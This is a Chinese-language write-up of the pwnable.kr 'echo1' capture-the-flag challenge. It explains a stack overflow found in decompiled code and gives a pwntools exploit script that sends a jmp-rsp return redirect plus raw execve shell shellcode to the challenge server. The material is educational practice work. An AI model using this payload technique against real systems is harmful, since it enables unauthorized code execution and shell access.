[Pwnable.kr] echo1
下载下来IDA反编译,发现里面只有echo1是实现了的,另外两个echo没有实现,不去管它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int *v3; // rsi@1 _QWORD *v4; // rax@1 unsigned int v6; // [rsp+Ch] [rbp-24h]@1 __int64 v7; // [rsp+10h] [rbp-20h]@1 __int64 v8; // [rsp+18h] [rbp-18h]@1 __int64 v9; // [rsp+20h] [rbp-10h]@1 setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : ", 0LL); v3 = (unsigned int *)&v7; __isoc99_scanf("%24s", &v7); v4 = o; *(_QWORD *)o = v7; v4[1] = v8; v4[2] = v9; id = v7; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; v6 = 0; do { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> ", v3); v3 = &v6; __isoc99_scanf("%d", &v6); getchar(); if ( v6 > 3 ) break; ((void (__fastcall *)(const char *, unsigned int *))func[(unsigned __int64)(v6 - 1)])("%d", &v6); } if ( v6 == 4 ) break; puts("invalid menu"); } cleanup("%d", &v6); printf("Are you sure you want to exit? (y/n)"); v6 = getchar(); } while ( v6 != 121 ); puts("bye"); return 0; } __int64 echo1() { char s; // [rsp+0h] [rbp-20h]@1 (*((void (__fastcall **)(void *))o + 3))(o); get_input(&s, 128); puts(&s); (*((void (__fastcall **)(void *, signed __int64))o + 4))(o, 128LL); return 0LL; } |
可以看出这段代码中有两个溢出点,一个是在main函数里scanf的地方,读了一个24位的字符串,覆盖到了一个整形的地址上,覆盖的变量似乎没什么用,也覆盖不到ori_rbp。另外一个溢出点在echo1中,gets了一个128位的字符串,写到了rbp-0x20这个位置,这里是可以覆盖到ret的。
用alsr命令看一下程序没有开ALSR,那一般思路就是覆盖掉echo的ret指针,跳到我们设计的shellcode上就ok了,shellcode可以从shell-storm.org上找一个,最短的http://shell-storm.org/shellcode/files/shellcode-806.php需要27字节,然后突然蛋疼了,因为这27个字节没办法完整写到main函数的栈里面(它只读24个),所以这里的溢出看起来不太好用。
所以我们只能把shellcode安排在echo里面的栈上了,但是ret指针又很难设计,因为在payload中ret后面紧跟着的就是shellcode,这个ret该写成多少……
回头读代码,发现我们在main中scanf的东西(前8字节)又被赋值到了全局变量id中,这个id地址是固定的,从ida中可以找到cs:id是0x6020a0,id的内容又是我们可以控制的,所以我们可以把ret地址设计成id的地址,在echo1执行完之后(leave; ret)rip被定向到0x6020a0,此时rsp指向了我们的shellcode的启示部分,我们只需要在id中写jmp rsp的指令码就ok了。
1 2 3 4 5 6 7 8 9 10 11 12 |
from pwn import * r = remote("pwnable.kr", 9010) #r = process("./echo1") r.recvuntil(":") r.sendline("\xff\xe4") r.recvuntil(">") r.sendline('1') r.sendline('A'*32 + 'AAAAAAAA' + '\xa0\x20\x60\x00\x00\x00\x00\x00' + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05') r.interactive() |
然后就得到了shell
======update========
后来在网上发现了23字节得shellcode,打算在main函数那里溢出一下试试,但是发现gdb看到的栈地址跟实际运行时候的栈地址不一样的,据说因为环境变量引起(http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966)这里太麻烦了就没有尝试,不过感觉应该也可行